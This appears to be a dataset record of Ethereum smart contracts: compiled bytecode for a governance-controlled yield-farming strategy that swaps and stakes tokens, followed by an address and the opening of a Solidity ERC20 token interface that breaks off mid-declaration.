b6000918252602090912001546001600160a01b03169150829050565b60006108077f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b6127ce565b90505b90565b600054610100900460ff168061082657506108266127d2565b80610834575060005460ff16155b61086f5760405162461bcd60e51b815260040180806020018281038252602e8152602001806141f4602e913960400191505060405180910390fd5b600054610100900460ff1615801561089a576000805460ff1961ff0019909116610100171660011790555b6108a38b612365565b6108ac8a6127d8565b6108b589612802565b6108be8861282c565b6108c787612856565b6108d086612880565b6108d9856128aa565b6108e2846128d4565b6108eb836128fe565b6108f482612928565b6108fe6000612952565b8015610910576000805461ff00191690555b5050505050505050505050565b60006108077fec0174f2065dc3fa83d1e3b1944c6e3f68d25ad5cfc7af4559379936de9ba9276127ce565b60006108077f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb844476127ce565b61097b61297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156109d057600080fd5b505afa1580156109e4573d6000803e3d6000fd5b505050506040513d60208110156109fa57600080fd5b5051610a3e576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610a47816129a1565b610a67610a62610a55611ef6565b429063ffffffff6129cb16565b612a2c565b50565b610a7261297c565b6001600160a01b031663b429afeb336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610ac757600080fd5b505afa158015610adb573d6000803e3d6000fd5b505050506040513d6020811015610af157600080fd5b505180610b835750610b0161297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6020811015610b8057600080fd5b50515b610bbe5760405162461bcd60e51b815260040180806020018281038252602b81526020018061412a602b913960400191505060405180910390fd5b610bc782611562565b15610c035760405162461bcd60e51b81526004018080602001828103825260228152602001806141556022913960400191505060405180910390fd5b610c1d6001600160a01b038316848363ffffffff612a5616565b505050565b73c2bde1a2fa26890c8e6acb10c91cc6d9c11f4a7381565b600054610100900460ff1680610c535750610c536127d2565b80610c61575060005460ff16155b610c9c5760405162461bcd60e51b815260040180806020018281038252602e8152602001806141f4602e913960400191505060405180910390fd5b600054610100900460ff16158015610cc7576000805460ff1961ff0019909116610100171660011790555b610ce88b8b8b8b8b61012c6103e86001670de0b6b3a764000061a8c061080d565b886001600160a01b0316836001600160a01b0316635fcbd2856040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2b57600080fd5b505afa158015610d3f573d6000803e3d6000fd5b505050506040513d6020811015610d5557600080fd5b50516001600160a01b031614610da6576040805162461bcd60e51b8152602060048201526011602482015270125b98dbdb5c185d1a589b19481c1bdbdb607a1b604482015290519081900360640190fd5b612710821115610df6576040805162461bcd60e51b8152602060048201526016602482015275084eaf2c4c2c6d640e4c2e8d2de40e8dede40d0d2ced60531b604482015290519081900360640190fd5b6000610e00611a29565b6001600160a01b0316631526fe27886040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015610e4357600080fd5b505afa158015610e57573d6000803e3d6000fd5b505050506040513d6080811015610e6d57600080fd5b50519050610e79611a54565b6001600160a01b0316816001600160a01b031614610ec85760405162461bcd60e51b81526004018080602001828103825260238152602001806141b06023913960400191505060405180910390fd5b610ed187612aa8565b8515611025576000610ee1611a54565b6001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1957600080fd5b505afa158015610f2d573d6000803e3d6000fd5b505050506040513d6020811015610f4357600080fd5b505190506000610f51611a54565b6001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8957600080fd5b505afa158015610f9d573d6000803e3d6000fd5b505050506040513d6020811015610fb357600080fd5b505160408051600080825260208083018085526001600160a01b038816835260339091529290209051929350610feb929091906140a0565b5060408051600080825260208083018085526001600160a01b03861683526033909152929020905161101d92906140a0565b505050611076565b6040805160008082526020820190925290603390611041611a54565b6001600160a01b03166001600160a01b0316815260200190815260200160002090805190602001906110749291906140a0565b505b6110a07f1132c1de5e5b6f1c4c7726265ddcf1f4ae2a9ecf258a0002de174248ecbf2c7a86612ad2565b6110ca7fc2f3dabf55b1bdda20d5cf5fcba9ba765dfc7c9dbaf28674ce46d43d60d5876887612ad2565b6110f47fffff3ca4ef6be91c73d8650479019ed5238e272f1f8a0190b85eb7dae6fd4b6b85612ae9565b61111e7fec0174f2065dc3fa83d1e3b1944c6e3f68d25ad5cfc7af4559379936de9ba92784612ae9565b508015610910576000805461ff00191690555050505050505050505050565b60006108077fc2f3dabf55b1bdda20d5cf5fcba9ba765dfc7c9dbaf28674ce46d43d60d58768612aed565b6034546001600160a01b031681565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b60006108077f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b6127ce565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6111da61297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561122f57600080fd5b505afa158015611243573d6000803e3d6000fd5b505050506040513d602081101561125957600080fd5b505161129d576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610a677fec0174f2065dc3fa83d1e3b1944c6e3f68d25ad5cfc7af4559379936de9ba92782612ae9565b60006108077f1132c1de5e5b6f1c4c7726265ddcf1f4ae2a9ecf258a0002de174248ecbf2c7a612aed565b60006108077f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb6612aed565b600080611328611a29565b6001600160a01b031614156113c75761133f611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561139457600080fd5b505afa1580156113a8573d6000803e3d6000fd5b505050506040513d60208110156113be57600080fd5b5051905061080a565b6108076113d2611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561142757600080fd5b505afa15801561143b573d6000803e3d6000fd5b505050506040513d602081101561145157600080fd5b505161145b612b01565b9063ffffffff6129cb16565b61146f612622565b156114ab5760405162461bcd60e51b81526004018080602001828103825260348152602001806142826034913960400191505060405180910390fd5b6114b36127a7565b6001600160a01b0316336001600160a01b031614806114ea57506114d5612722565b6001600160a01b0316336001600160a01b0316145b8061150d57506114f86118c2565b6001600160a01b0316336001600160a01b0316145b6115485760405162461bcd60e51b81526004018080602001828103825260398152602001806141776039913960400191505060405180910390fd5b611550612b91565b611558612c1a565b6115606136bf565b565b600061156c612764565b6001600160a01b0316826001600160a01b031614806115a3575061158e611a54565b6001600160a01b0316826001600160a01b0316145b92915050565b6115b161297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d602081101561163057600080fd5b5051611674576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b61167c61379c565b6115606001612952565b73193b775af4bf9e11656ca48724a710359446bf5281565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600054610100900460ff16806116cf57506116cf6127d2565b806116dd575060005460ff16155b6117185760405162461bcd60e51b815260040180806020018281038252602e8152602001806141f4602e913960400191505060405180910390fd5b600054610100900460ff16158015611743576000805460ff1961ff0019909116610100171660011790555b60056117968573aa617c8726adfde9e7b08746457e6b90ddb214808673193b775af4bf9e11656ca48724a710359446bf5273b6ca7399b4f9ca56fc27cbff44f4d2e4eef1fc81866001808b611388610c3a565b6040805180820190915273b6ca7399b4f9ca56fc27cbff44f4d2e4eef1fc81815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260208083018290526000919091526033905261180b907f58e9934f05c179f029567a768006bc4626ef0edf3f2891d75edb1a486c863a939060026140a0565b506040805160608101825273b6ca7399b4f9ca56fc27cbff44f4d2e4eef1fc81815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260208083019190915273c2bde1a2fa26890c8e6acb10c91cc6d9c11f4a73928201839052600092909252603390915261189e907f9d59f0f115724140b8cecaa1bf52981c94838e4713e184b81c7b44826ae141b99060036140a0565b506118a96001611f21565b5080156118bc576000805461ff00191690555b50505050565b60006118cc61297c565b6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561190457600080fd5b505afa158015611918573d6000803e3d6000fd5b505050506040513d602081101561192e57600080fd5b5051905090565b61193d61297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561199257600080fd5b505afa1580156119a6573d6000803e3d6000fd5b505050506040513d60208110156119bc57600080fd5b5051611a00576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b03821660009081526033602090815260409091208251610c1d928401906140a0565b60006108077f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b86127ce565b60006108077fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e5306127ce565b73aa617c8726adfde9e7b08746457e6b90ddb2148081565b60006108077f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e6127ce565b611aca61297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611b1f57600080fd5b505afa158015611b33573d6000803e3d6000fd5b505050506040513d6020811015611b4957600080fd5b5051611b8d576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b038116611be8576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b610a6781613802565b611bf961297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611c4e57600080fd5b505afa158015611c62573d6000803e3d6000fd5b505050506040513d6020811015611c7857600080fd5b5051611cbc576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b611cc4613826565b611ccc61113d565b15611e30576040805160008082526020820190925290603390611ced611a54565b6001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2557600080fd5b505afa158015611d39573d6000803e3d6000fd5b505050506040513d6020811015611d4f57600080fd5b50516001600160a01b031681526020818101929092526040016000208251611d7d93919291909101906140a0565b506040805160008082526020820190925290603390611d9a611a54565b6001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015611dd257600080fd5b505afa158015611de6573d6000803e3d6000fd5b505050506040513d6020811015611dfc57600080fd5b50516001600160a01b031681526020818101929092526040016000208251611e2a93919291909101906140a0565b50611560565b6040805160008082526020820190925290603390611e4c611a54565b6001600160a01b03166001600160a01b031681526020019081526020016000209080519060200190610a679291906140a0565b600080611e8a611a97565b15801590611e9e5750611e9b611a97565b42115b8015611ebb57506000611eaf610948565b6001600160a01b031614155b611ec3610948565b915091509091565b60006108077fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc6127ce565b60006108077f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b316127ce565b611f2961297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611f7e57600080fd5b505afa158015611f92573d6000803e3d6000fd5b505050506040513d6020811015611fa857600080fd5b5051611fec576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610a67816128d4565b60006108077fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c0296127ce565b61202861297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561207d57600080fd5b505afa158015612091573d6000803e3d6000fd5b505050506040513d60208110156120a757600080fd5b50516120eb576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610a67816128fe565b6120fc61297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561215157600080fd5b505afa158015612165573d6000803e3d6000fd5b505050506040513d602081101561217b57600080fd5b50516121bf576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610a677f1132c1de5e5b6f1c4c7726265ddcf1f4ae2a9ecf258a0002de174248ecbf2c7a82612ad2565b6121f16127a7565b6001600160a01b0316336001600160a01b031614806122285750612213612722565b6001600160a01b0316336001600160a01b0316145b8061224b57506122366118c2565b6001600160a01b0316336001600160a01b0316145b6122865760405162461bcd60e51b81526004018080602001828103825260398152602001806141776039913960400191505060405180910390fd5b6000612290611a29565b6001600160a01b0316146122a6576122a6612b91565b6122ae612c1a565b6115606122b96127a7565b6122c1611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561231657600080fd5b505afa15801561232a573d6000803e3d6000fd5b505050506040513d602081101561234057600080fd5b505161234a611a54565b6001600160a01b0316919063ffffffff612a5616565b600190565b600054610100900460ff168061237e575061237e6127d2565b8061238c575060005460ff16155b6123c75760405162461bcd60e51b815260040180806020018281038252602e8152602001806141f4602e913960400191505060405180910390fd5b600054610100900460ff161580156123f2576000805460ff1961ff0019909116610100171660011790555b6123fb8261383a565b801561240d576000805461ff00191690555b5050565b60006108077fffff3ca4ef6be91c73d8650479019ed5238e272f1f8a0190b85eb7dae6fd4b6b6127ce565b6124446127a7565b6001600160a01b0316336001600160a01b0316148061247b5750612466612722565b6001600160a01b0316336001600160a01b0316145b8061249e57506124896118c2565b6001600160a01b0316336001600160a01b0316145b6124d95760405162461bcd60e51b81526004018080602001828103825260398152602001806141776039913960400191505060405180910390fd5b60006124e3611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561253857600080fd5b505afa15801561254c573d6000803e3d6000fd5b505050506040513d602081101561256257600080fd5b505190508082111561260e576000612580838363ffffffff6138d016565b9050600061259561258f612b01565b83613912565b905061259f611a29565b6001600160a01b031663441a3e706125b561118f565b836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156125f357600080fd5b505af1158015612607573d6000803e3d6000fd5b5050505050505b61240d6126196127a7565b8361234a611a54565b60006108077fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a612aed565b61265561297c565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156126aa57600080fd5b505afa1580156126be573d6000803e3d6000fd5b505050506040513d60208110156126d457600080fd5b5051612718576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6115606000612952565b600061272c61297c565b6001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b15801561190457600080fd5b60006108077fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf6127ce565b73b6ca7399b4f9ca56fc27cbff44f4d2e4eef1fc8181565b60006108077fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d415b5490565b303b1590565b610a677fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e53082612ae9565b610a677fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d4182612ae9565b610a677f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b882612ae9565b610a677fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf82612ae9565b610a677fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c02982612ae9565b610a677f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b82612ae9565b610a677f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb682612ad2565b610a677fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc82612ae9565b610a677f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b3182612ae9565b610a677fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a82612ad2565b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc5490565b610a677f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb8444782612ae9565b600082820183811015612a25576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b610a677f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e82612ae9565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c1d908490613928565b610a677f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b82612ae9565b61240d8282612ae2576000612ae5565b60015b60ff165b9055565b6000612af8826127ce565b60011492915050565b6000612b0b611a29565b6001600160a01b03166393f1a40b612b2161118f565b604080516001600160e01b031960e085901b16815260048101929092523060248301528051604480840193829003018186803b158015612b6057600080fd5b505afa158015612b74573d6000803e3d6000fd5b505050506040513d6040811015612b8a57600080fd5b5051919050565b6000612b9b612b01565b90508015610a6757612bab611a29565b6001600160a01b031663441a3e70612bc161118f565b836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015612bff57600080fd5b505af1158015612c13573d6000803e3d6000fd5b5050505050565b6000612c24612764565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015612c7957600080fd5b505afa158015612c8d573d6000803e3d6000fd5b505050506040513d6020811015612ca357600080fd5b50519050612caf6112f2565b1580612cc15750612cbe611ecb565b81105b15612d17577f408a4b113351e616bb41bad991f29bbad84b43c3810e7492a6bc7c6388dfe0c2612cef6112f2565b612cf7611ecb565b60408051921515835290841060208301528051918290030190a150611560565b612d3081612d23612411565b612d2b61091d565b613ae0565b6000612d3a612764565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015612d8f57600080fd5b505afa158015612da3573d6000803e3d6000fd5b505050506040513d6020811015612db957600080fd5b5051905080612dc9575050611560565b6000612dd36112c7565b15612df35750737a250d5630b4cf539739df2c5dacb4c659f2488d612e0a565b5073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f5b612e2e816000612e18612764565b6001600160a01b0316919063ffffffff613ce616565b612e3b8183612e18612764565b6001612e4561113d565b15613506576000612e54611a54565b6001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015612e8c57600080fd5b505afa158015612ea0573d6000803e3d6000fd5b505050506040513d6020811015612eb657600080fd5b505190506000612ec4611a54565b6001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015612efc57600080fd5b505afa158015612f10573d6000803e3d6000fd5b505050506040513d6020811015612f2657600080fd5b505190506000612f3d86600263ffffffff613df916565b90506000612f51878363ffffffff6138d016565b6001600160a01b038516600090815260336020526040812054919250906001101561319b57866001600160a01b03166338ed17398488603360008a6001600160a01b03166001600160a01b0316815260200190815260200160002030426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818154815260200191508054801561303657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613018575b50509650505050505050600060405180830381600087803b15801561305a57600080fd5b505af115801561306e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561309757600080fd5b8101908080516040519392919084600160201b8211156130b657600080fd5b9083019060208201858111156130cb57600080fd5b82518660208202830111600160201b821117156130e757600080fd5b82525081516020918201928201910280838360005b838110156131145781810151838201526020016130fc565b505050509190910160408181526370a0823160e01b8252306004830152516001600160a01b038c1696506370a082319550602480830195506020945090925090829003018186803b15801561316857600080fd5b505afa15801561317c573d6000803e3d6000fd5b505050506040513d602081101561319257600080fd5b5051905061319e565b50815b6001600160a01b038416600090815260336020526040812054600110156133e457876001600160a01b03166338ed17398489603360008a6001600160a01b03166001600160a01b0316815260200190815260200160002030426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818154815260200191508054801561327f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613261575b50509650505050505050600060405180830381600087803b1580156132a357600080fd5b505af11580156132b7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156132e057600080fd5b8101908080516040519392919084600160201b8211156132ff57600080fd5b90830190602082018581111561331457600080fd5b82518660208202830111600160201b8211171561333057600080fd5b82525081516020918201928201910280838360005b8381101561335d578181015183820152602001613345565b505050509190910160408181526370a0823160e01b8252306004830152516001600160a01b038c1696506370a082319550602480830195506020945090925090829003018186803b1580156133b157600080fd5b505afa1580156133c5573d6000803e3d6000fd5b505050506040513d60208110156133db57600080fd5b505190506133e7565b50815b6134026001600160a01b03871689600063ffffffff613ce616565b61341c6001600160a01b038716898463ffffffff613ce616565b6134376001600160a01b03861689600063ffffffff613ce616565b6134516001600160a01b038616898363ffffffff613ce616565b6040805162e8e33760e81b81526001600160a01b0388811660048301528781166024830152604482018590526064820184905260016084830181905260a48301523060c48301524260e483015291516000928b169163e8e337009161010480830192606092919082900301818787803b1580156134cd57600080fd5b505af11580156134e1573d6000803e3d6000fd5b505050506040513d60608110156134f757600080fd5b506118bc975050505050505050565b816001600160a01b03166338ed1739848360336000613523611a54565b6001600160a01b03166001600160a01b0316815260200190815260200160002030426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b0316815260200183815260200182810382528581815481526020019150805480156135cd57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116135af575b50509650505050505050600060405180830381600087803b1580156135f157600080fd5b505af1158015613605573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561362e57600080fd5b8101908080516040519392919084600160201b82111561364d57600080fd5b90830190602082018581111561366257600080fd5b82518660208202830111600160201b8211171561367e57600080fd5b82525081516020918201928201910280838360005b838110156136ab578181015183820152602001613693565b505050509050016040525050505050505050565b6136c7612622565b156137035760405162461bcd60e51b81526004018080602001828103825260348152602001806142826034913960400191505060405180910390fd5b600061370d611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561376257600080fd5b505afa158015613776573d6000803e3d6000fd5b505050506040513d602081101561378c57600080fd5b5051111561156057611560613e3b565b60006137a6612b01565b90508015610a67576137b6611a29565b6001600160a01b0316635312ea8e6137cc61118f565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612bff57600080fd5b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc55565b61383060006129a1565b6115606000612a2c565b600054610100900460ff168061385357506138536127d2565b80613861575060005460ff16155b61389c5760405162461bcd60e51b815260040180806020018281038252602e8152602001806141f4602e913960400191505060405180910390fd5b600054610100900460ff161580156138c7576000805460ff1961ff0019909116610100171660011790555b6123fb82613802565b6000612a2583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613f0f565b60008183106139215781612a25565b5090919050565b61393a826001600160a01b0316613fa6565b61398b576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106139c95780518252601f1990920191602091820191016139aa565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613a2b576040519150601f19603f3d011682016040523d82523d6000602084013e613a30565b606091505b509150915081613a87576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118bc57808060200190516020811015613aa357600080fd5b50516118bc5760405162461bcd60e51b815260040180806020018281038252602a815260200180614222602a913960400191505060405180910390fd5b8215613ca2576000613b17613af36107dc565b613b0b613afe611ff5565b879063ffffffff613fe216565b9063ffffffff613df916565b90506000613b41612710613b0b85613b35898763ffffffff6138d016565b9063ffffffff613fe216565b90506000613b4d612722565b6001600160a01b031663ae28d1286040518163ffffffff1660e01b815260040160206040518083038186803b158015613b8557600080fd5b505afa158015613b99573d6000803e3d6000fd5b505050506040513d6020811015613baf57600080fd5b50516040805188815260208101869052428183015290519192507fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f919081900360600190a1613c02816000612e18612764565b613c0f8187612e18612764565b806001600160a01b031663ebbd4753613c26612764565b604080516001600160e01b031960e085901b1681526001600160a01b0392831660048201526024810188905291891660448301526064820186905251608480830192600092919082900301818387803b158015613c8257600080fd5b505af1158015613c96573d6000803e3d6000fd5b50505050505050610c1d565b6040805160008082526020820152428183015290517fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f9181900360600190a1505050565b801580613d6c575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015613d3e57600080fd5b505afa158015613d52573d6000803e3d6000fd5b505050506040513d6020811015613d6857600080fd5b5051155b613da75760405162461bcd60e51b815260040180806020018281038252603681526020018061424c6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610c1d908490613928565b6000612a2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061403b565b6000613e45611a54565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015613e9a57600080fd5b505afa158015613eae573d6000803e3d6000fd5b505050506040513d6020811015613ec457600080fd5b50519050613edd613ed3611a29565b6000612e18611a54565b613ef1613ee8611a29565b82612e18611a54565b613ef9611a29565b6001600160a01b031663e2bbb158612bc161118f565b60008184841115613f9e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613f63578181015183820152602001613f4b565b50505050905090810190601f168015613f905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590613fda57508115155b949350505050565b600082613ff1575060006115a3565b82820282848281613ffe57fe5b0414612a255760405162461bcd60e51b81526004018080602001828103825260218152602001806141d36021913960400191505060405180910390fd5b6000818361408a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315613f63578181015183820152602001613f4b565b50600083858161409657fe5b0495945050505050565b8280548282559060005260206000209081019282156140f5579160200282015b828111156140f557825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906140c0565b50614101929150614105565b5090565b61080a91905b808211156141015780546001600160a01b031916815560010161410b56fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e6365746f6b656e20697320646566696e6564206173206e6f742073616c76616761626c655468652073656e6465722068617320746f2062652074686520636f6e74726f6c6c65722c20676f7665726e616e63652c206f72207661756c74506f6f6c20496e666f20646f6573206e6f74206d6174636820756e6465726c79696e67536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365416374696f6e20626c6f636b65642061732074686520737472617465677920697320696e20656d657267656e6379207374617465a265627a7a723158205a773621a72ac92f0b34031e8a67aff64e2166e7611b23380af8326a493ea36f64736f6c63430005100032
[ 9, 5 ]
0xf270f361edca19f7063184b0e6b4f264468ecbc1
pragma solidity ^0.4.18; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Token { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant public returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event 